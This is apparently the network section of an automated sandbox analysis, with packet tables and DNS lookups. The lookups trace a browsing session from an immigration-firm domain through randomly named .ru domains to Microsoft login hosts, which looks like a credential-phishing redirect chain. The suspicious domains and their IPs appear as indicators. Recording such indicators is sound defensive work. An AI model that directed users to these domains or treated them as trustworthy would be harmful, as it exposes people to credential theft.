Dec 10, 2024 00:07:26.808578968 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.808605909 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:26.808620930 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:26.892450094 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.892471075 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.892515898 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:26.892523050 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.892563105 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:26.908452034 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.908473015 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.908514023 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:26.908520937 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.908550024 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:26.908581972 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:26.926857948 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.926877022 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.926918983 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:26.926924944 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.926955938 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:26.926973104 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:26.941365004 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.941384077 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.941428900 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:26.941432953 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.941467047 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:26.941493034 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:26.952419996 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.952438116 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.952511072 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:26.952514887 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.952559948 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:26.964261055 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.964277983 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.964322090 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:26.964328051 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.964363098 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:26.964371920 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:26.974570036 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.974591970 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.974628925 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:26.974634886 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:26.974670887 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:26.974683046 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:27.076436043 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:27.076455116 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:27.076529980 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:27.076539040 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:27.076896906 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:27.086520910 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:27.086554050 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:27.086618900 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:27.086623907 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:27.086942911 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:27.095537901 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:27.095577002 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:27.095628023 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:27.095633984 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:27.095674992 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:27.103107929 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:27.103127956 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:27.103190899 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:27.103198051 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:27.103540897 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:27.112046957 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:27.112082005 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:27.112133026 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:27.112138987 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:27.112446070 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:27.119524002 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:27.119539976 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:27.119607925 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:27.119615078 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:27.120292902 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:27.127856016 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:27.127871037 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:27.127926111 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:27.127933025 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:27.128374100 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:27.147934914 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:27.147952080 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:27.148014069 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:27.148022890 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:27.148363113 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:27.270272970 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:27.270291090 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:27.270365953 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:27.270378113 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:27.270726919 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:27.278110981 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:27.278130054 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:27.278201103 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:27.278211117 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:27.281239986 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:27.284904957 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:27.284919024 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:27.284977913 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:27.284986973 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:27.288590908 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:27.292871952 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:27.292886019 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:27.292960882 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:27.292967081 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:27.293232918 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:27.300476074 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:27.300492048 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:27.300657988 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:27.300663948 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:27.301021099 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:27.303386927 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:27.303448915 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:27.303453922 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:27.303472042 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:27.303513050 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:27.304156065 CET	49882	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:27.304167032 CET	443	49882	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:32.204626083 CET	443	49875	142.250.181.68	192.168.2.5
Dec 10, 2024 00:07:32.204703093 CET	443	49875	142.250.181.68	192.168.2.5
Dec 10, 2024 00:07:32.204761028 CET	49875	443	192.168.2.5	142.250.181.68
Dec 10, 2024 00:07:32.579332113 CET	49875	443	192.168.2.5	142.250.181.68
Dec 10, 2024 00:07:32.579358101 CET	443	49875	142.250.181.68	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 10, 2024 00:06:16.387476921 CET	53	55018	1.1.1.1	192.168.2.5
Dec 10, 2024 00:06:16.440865993 CET	53	62079	1.1.1.1	192.168.2.5
Dec 10, 2024 00:06:19.253195047 CET	53	56289	1.1.1.1	192.168.2.5
Dec 10, 2024 00:06:20.678991079 CET	61397	53	192.168.2.5	1.1.1.1
Dec 10, 2024 00:06:20.679214954 CET	64521	53	192.168.2.5	1.1.1.1
Dec 10, 2024 00:06:20.815937042 CET	53	64521	1.1.1.1	192.168.2.5
Dec 10, 2024 00:06:20.816163063 CET	53	61397	1.1.1.1	192.168.2.5
Dec 10, 2024 00:06:21.705051899 CET	49377	53	192.168.2.5	1.1.1.1
Dec 10, 2024 00:06:21.705693960 CET	60081	53	192.168.2.5	1.1.1.1
Dec 10, 2024 00:06:21.841954947 CET	53	49377	1.1.1.1	192.168.2.5
Dec 10, 2024 00:06:21.926402092 CET	53	60081	1.1.1.1	192.168.2.5
Dec 10, 2024 00:06:25.619550943 CET	53595	53	192.168.2.5	1.1.1.1
Dec 10, 2024 00:06:25.619757891 CET	54311	53	192.168.2.5	1.1.1.1
Dec 10, 2024 00:06:25.968880892 CET	53	54311	1.1.1.1	192.168.2.5
Dec 10, 2024 00:06:26.031491995 CET	53	53595	1.1.1.1	192.168.2.5
Dec 10, 2024 00:06:27.751334906 CET	64339	53	192.168.2.5	1.1.1.1
Dec 10, 2024 00:06:27.751677036 CET	65466	53	192.168.2.5	1.1.1.1
Dec 10, 2024 00:06:28.202184916 CET	53	65466	1.1.1.1	192.168.2.5
Dec 10, 2024 00:06:28.202553034 CET	53	64339	1.1.1.1	192.168.2.5
Dec 10, 2024 00:06:31.740288019 CET	50440	53	192.168.2.5	1.1.1.1
Dec 10, 2024 00:06:31.740880013 CET	49326	53	192.168.2.5	1.1.1.1
Dec 10, 2024 00:06:31.740880013 CET	61856	53	192.168.2.5	1.1.1.1
Dec 10, 2024 00:06:31.741115093 CET	53876	53	192.168.2.5	1.1.1.1
Dec 10, 2024 00:06:31.741554976 CET	53715	53	192.168.2.5	1.1.1.1
Dec 10, 2024 00:06:31.741554976 CET	54006	53	192.168.2.5	1.1.1.1
Dec 10, 2024 00:06:31.877032042 CET	53	50440	1.1.1.1	192.168.2.5
Dec 10, 2024 00:06:31.877087116 CET	53	61856	1.1.1.1	192.168.2.5
Dec 10, 2024 00:06:31.877512932 CET	53	49326	1.1.1.1	192.168.2.5
Dec 10, 2024 00:06:31.878380060 CET	53	53876	1.1.1.1	192.168.2.5
Dec 10, 2024 00:06:31.921601057 CET	53	54006	1.1.1.1	192.168.2.5
Dec 10, 2024 00:06:31.922225952 CET	53	53715	1.1.1.1	192.168.2.5
Dec 10, 2024 00:06:34.078957081 CET	61207	53	192.168.2.5	1.1.1.1
Dec 10, 2024 00:06:34.079180956 CET	53357	53	192.168.2.5	1.1.1.1
Dec 10, 2024 00:06:34.090349913 CET	57176	53	192.168.2.5	1.1.1.1
Dec 10, 2024 00:06:34.090488911 CET	51237	53	192.168.2.5	1.1.1.1
Dec 10, 2024 00:06:34.215764999 CET	53	53357	1.1.1.1	192.168.2.5
Dec 10, 2024 00:06:34.216484070 CET	53	61207	1.1.1.1	192.168.2.5
Dec 10, 2024 00:06:34.227010965 CET	53	51237	1.1.1.1	192.168.2.5
Dec 10, 2024 00:06:34.227020025 CET	53	57176	1.1.1.1	192.168.2.5
Dec 10, 2024 00:06:35.668050051 CET	60093	53	192.168.2.5	1.1.1.1
Dec 10, 2024 00:06:35.670327902 CET	64646	53	192.168.2.5	1.1.1.1
Dec 10, 2024 00:06:35.699125051 CET	52374	53	192.168.2.5	1.1.1.1
Dec 10, 2024 00:06:35.699285984 CET	57590	53	192.168.2.5	1.1.1.1
Dec 10, 2024 00:06:35.805155993 CET	53	60093	1.1.1.1	192.168.2.5
Dec 10, 2024 00:06:35.810105085 CET	53	64646	1.1.1.1	192.168.2.5
Dec 10, 2024 00:06:35.844013929 CET	53	57590	1.1.1.1	192.168.2.5
Dec 10, 2024 00:06:35.846250057 CET	53	52374	1.1.1.1	192.168.2.5
Dec 10, 2024 00:06:36.130229950 CET	53	54348	1.1.1.1	192.168.2.5
Dec 10, 2024 00:06:40.500298977 CET	61465	53	192.168.2.5	1.1.1.1
Dec 10, 2024 00:06:40.500468969 CET	51630	53	192.168.2.5	1.1.1.1
Dec 10, 2024 00:06:40.636775017 CET	53	61465	1.1.1.1	192.168.2.5
Dec 10, 2024 00:06:40.639322996 CET	53	51630	1.1.1.1	192.168.2.5
Dec 10, 2024 00:06:55.004518032 CET	53	52406	1.1.1.1	192.168.2.5
Dec 10, 2024 00:07:00.452454090 CET	49356	53	192.168.2.5	1.1.1.1
Dec 10, 2024 00:07:00.452605963 CET	59541	53	192.168.2.5	1.1.1.1
Dec 10, 2024 00:07:00.957243919 CET	53	49356	1.1.1.1	192.168.2.5
Dec 10, 2024 00:07:00.957271099 CET	53	59541	1.1.1.1	192.168.2.5
Dec 10, 2024 00:07:04.298055887 CET	54224	53	192.168.2.5	1.1.1.1
Dec 10, 2024 00:07:04.298479080 CET	49185	53	192.168.2.5	1.1.1.1
Dec 10, 2024 00:07:04.312009096 CET	63696	53	192.168.2.5	1.1.1.1
Dec 10, 2024 00:07:04.312221050 CET	59357	53	192.168.2.5	1.1.1.1
Dec 10, 2024 00:07:04.449299097 CET	53	63696	1.1.1.1	192.168.2.5
Dec 10, 2024 00:07:04.451339960 CET	53	59357	1.1.1.1	192.168.2.5
Dec 10, 2024 00:07:04.771852970 CET	53	49185	1.1.1.1	192.168.2.5
Dec 10, 2024 00:07:06.886418104 CET	56246	53	192.168.2.5	1.1.1.1
Dec 10, 2024 00:07:06.886554003 CET	64430	53	192.168.2.5	1.1.1.1
Dec 10, 2024 00:07:07.185089111 CET	53	64430	1.1.1.1	192.168.2.5
Dec 10, 2024 00:07:09.279606104 CET	52666	53	192.168.2.5	1.1.1.1
Dec 10, 2024 00:07:09.279748917 CET	49389	53	192.168.2.5	1.1.1.1
Dec 10, 2024 00:07:12.084892035 CET	64236	53	192.168.2.5	1.1.1.1
Dec 10, 2024 00:07:12.085047960 CET	51892	53	192.168.2.5	1.1.1.1
Dec 10, 2024 00:07:12.236609936 CET	53	64236	1.1.1.1	192.168.2.5
Dec 10, 2024 00:07:12.236625910 CET	53	51892	1.1.1.1	192.168.2.5
Dec 10, 2024 00:07:15.246701002 CET	50140	53	192.168.2.5	1.1.1.1
Dec 10, 2024 00:07:15.246851921 CET	63220	53	192.168.2.5	1.1.1.1
Dec 10, 2024 00:07:15.277848959 CET	61949	53	192.168.2.5	1.1.1.1
Dec 10, 2024 00:07:15.278006077 CET	55035	53	192.168.2.5	1.1.1.1
Dec 10, 2024 00:07:15.385718107 CET	53	50140	1.1.1.1	192.168.2.5
Dec 10, 2024 00:07:15.385987997 CET	53	63220	1.1.1.1	192.168.2.5
Dec 10, 2024 00:07:15.416311979 CET	53	55035	1.1.1.1	192.168.2.5
Dec 10, 2024 00:07:16.241601944 CET	53	51240	1.1.1.1	192.168.2.5
Dec 10, 2024 00:07:18.090991974 CET	53	60477	1.1.1.1	192.168.2.5
Dec 10, 2024 00:07:30.758480072 CET	51770	53	192.168.2.5	1.1.1.1
Dec 10, 2024 00:07:30.758801937 CET	55088	53	192.168.2.5	1.1.1.1
Dec 10, 2024 00:07:36.633088112 CET	53	62265	1.1.1.1	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 10, 2024 00:06:21.926461935 CET	192.168.2.5	1.1.1.1	c224	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 10, 2024 00:06:20.678991079 CET	192.168.2.5	1.1.1.1	0xc4ec	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:06:20.679214954 CET	192.168.2.5	1.1.1.1	0x1a32	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 10, 2024 00:06:21.705051899 CET	192.168.2.5	1.1.1.1	0x6a23	Standard query (0)	www.google.com.hk	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:06:21.705693960 CET	192.168.2.5	1.1.1.1	0x5554	Standard query (0)	www.google.com.hk	65	IN (0x0001)	false
Dec 10, 2024 00:06:25.619550943 CET	192.168.2.5	1.1.1.1	0x1fb7	Standard query (0)	jvsimmigration.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:06:25.619757891 CET	192.168.2.5	1.1.1.1	0x7373	Standard query (0)	jvsimmigration.com	65	IN (0x0001)	false
Dec 10, 2024 00:06:27.751334906 CET	192.168.2.5	1.1.1.1	0xcee9	Standard query (0)	wfdd.htqeuifpr.ru	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:06:27.751677036 CET	192.168.2.5	1.1.1.1	0xb4a7	Standard query (0)	wfdd.htqeuifpr.ru	65	IN (0x0001)	false
Dec 10, 2024 00:06:31.740288019 CET	192.168.2.5	1.1.1.1	0xbf59	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:06:31.740880013 CET	192.168.2.5	1.1.1.1	0xb6b9	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:06:31.740880013 CET	192.168.2.5	1.1.1.1	0x1532	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Dec 10, 2024 00:06:31.741115093 CET	192.168.2.5	1.1.1.1	0xdac3	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Dec 10, 2024 00:06:31.741554976 CET	192.168.2.5	1.1.1.1	0x6886	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:06:31.741554976 CET	192.168.2.5	1.1.1.1	0xe11c	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Dec 10, 2024 00:06:34.078957081 CET	192.168.2.5	1.1.1.1	0x606f	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:06:34.079180956 CET	192.168.2.5	1.1.1.1	0xa0cd	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Dec 10, 2024 00:06:34.090349913 CET	192.168.2.5	1.1.1.1	0x49bf	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:06:34.090488911 CET	192.168.2.5	1.1.1.1	0xe1c2	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Dec 10, 2024 00:06:35.668050051 CET	192.168.2.5	1.1.1.1	0x7c83	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:06:35.670327902 CET	192.168.2.5	1.1.1.1	0xe911	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Dec 10, 2024 00:06:35.699125051 CET	192.168.2.5	1.1.1.1	0x36b4	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:06:35.699285984 CET	192.168.2.5	1.1.1.1	0x7400	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Dec 10, 2024 00:06:40.500298977 CET	192.168.2.5	1.1.1.1	0xe958	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:06:40.500468969 CET	192.168.2.5	1.1.1.1	0xe001	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Dec 10, 2024 00:07:00.452454090 CET	192.168.2.5	1.1.1.1	0x627e	Standard query (0)	cuu0nyjztbfodi4zevdbijt4fumk2fyokpjgw3ieaqy6r260tay.uyofiykrxf.ru	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:07:00.452605963 CET	192.168.2.5	1.1.1.1	0x4190	Standard query (0)	cuu0nyjztbfodi4zevdbijt4fumk2fyokpjgw3ieaqy6r260tay.uyofiykrxf.ru	65	IN (0x0001)	false
Dec 10, 2024 00:07:04.298055887 CET	192.168.2.5	1.1.1.1	0x801	Standard query (0)	excel.office.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:07:04.298479080 CET	192.168.2.5	1.1.1.1	0x6edc	Standard query (0)	excel.office.com	65	IN (0x0001)	false
Dec 10, 2024 00:07:04.312009096 CET	192.168.2.5	1.1.1.1	0xef6f	Standard query (0)	cuu0nyjztbfodi4zevdbijt4fumk2fyokpjgw3ieaqy6r260tay.uyofiykrxf.ru	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:07:04.312221050 CET	192.168.2.5	1.1.1.1	0x2a8f	Standard query (0)	cuu0nyjztbfodi4zevdbijt4fumk2fyokpjgw3ieaqy6r260tay.uyofiykrxf.ru	65	IN (0x0001)	false
Dec 10, 2024 00:07:06.886418104 CET	192.168.2.5	1.1.1.1	0xad8b	Standard query (0)	www.microsoft365.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:07:06.886554003 CET	192.168.2.5	1.1.1.1	0x15d3	Standard query (0)	www.microsoft365.com	65	IN (0x0001)	false
Dec 10, 2024 00:07:09.279606104 CET	192.168.2.5	1.1.1.1	0xe92a	Standard query (0)	login.microsoftonline.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:07:09.279748917 CET	192.168.2.5	1.1.1.1	0xe52a	Standard query (0)	login.microsoftonline.com	65	IN (0x0001)	false
Dec 10, 2024 00:07:12.084892035 CET	192.168.2.5	1.1.1.1	0xb150	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:07:12.085047960 CET	192.168.2.5	1.1.1.1	0x8b06	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Dec 10, 2024 00:07:15.246701002 CET	192.168.2.5	1.1.1.1	0xc24a	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:07:15.246851921 CET	192.168.2.5	1.1.1.1	0x9cd3	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Dec 10, 2024 00:07:15.277848959 CET	192.168.2.5	1.1.1.1	0x6da6	Standard query (0)	www.microsoft365.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:07:15.278006077 CET	192.168.2.5	1.1.1.1	0xfbb3	Standard query (0)	www.microsoft365.com	65	IN (0x0001)	false
Dec 10, 2024 00:07:30.758480072 CET	192.168.2.5	1.1.1.1	0x4d9c	Standard query (0)	login.microsoftonline.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:07:30.758801937 CET	192.168.2.5	1.1.1.1	0xea4d	Standard query (0)	login.microsoftonline.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 10, 2024 00:06:20.815937042 CET	1.1.1.1	192.168.2.5	0x1a32	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 10, 2024 00:06:20.816163063 CET	1.1.1.1	192.168.2.5	0xc4ec	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:06:21.841954947 CET	1.1.1.1	192.168.2.5	0x6a23	No error (0)	www.google.com.hk		142.250.181.99	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:06:26.031491995 CET	1.1.1.1	192.168.2.5	0x1fb7	No error (0)	jvsimmigration.com		184.168.110.22	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:06:28.202184916 CET	1.1.1.1	192.168.2.5	0xb4a7	No error (0)	wfdd.htqeuifpr.ru			65	IN (0x0001)	false
Dec 10, 2024 00:06:28.202553034 CET	1.1.1.1	192.168.2.5	0xcee9	No error (0)	wfdd.htqeuifpr.ru		172.67.214.152	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:06:28.202553034 CET	1.1.1.1	192.168.2.5	0xcee9	No error (0)	wfdd.htqeuifpr.ru		104.21.69.227	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:06:31.877032042 CET	1.1.1.1	192.168.2.5	0xbf59	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:06:31.877032042 CET	1.1.1.1	192.168.2.5	0xbf59	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:06:31.877032042 CET	1.1.1.1	192.168.2.5	0xbf59	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:06:31.877032042 CET	1.1.1.1	192.168.2.5	0xbf59	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:06:31.877512932 CET	1.1.1.1	192.168.2.5	0xb6b9	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:06:31.877512932 CET	1.1.1.1	192.168.2.5	0xb6b9	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:06:31.878380060 CET	1.1.1.1	192.168.2.5	0xdac3	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Dec 10, 2024 00:06:31.921601057 CET	1.1.1.1	192.168.2.5	0xe11c	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Dec 10, 2024 00:06:31.922225952 CET	1.1.1.1	192.168.2.5	0x6886	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:06:31.922225952 CET	1.1.1.1	192.168.2.5	0x6886	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:06:34.216484070 CET	1.1.1.1	192.168.2.5	0x606f	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:06:34.216484070 CET	1.1.1.1	192.168.2.5	0x606f	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:06:34.216484070 CET	1.1.1.1	192.168.2.5	0x606f	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:06:34.216484070 CET	1.1.1.1	192.168.2.5	0x606f	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:06:34.227010965 CET	1.1.1.1	192.168.2.5	0xe1c2	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Dec 10, 2024 00:06:34.227020025 CET	1.1.1.1	192.168.2.5	0x49bf	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:06:34.227020025 CET	1.1.1.1	192.168.2.5	0x49bf	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Dec 10, 2024 00:06:35.805155993 CET	1.1.1.1	192.168.2.5	0x7c83	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
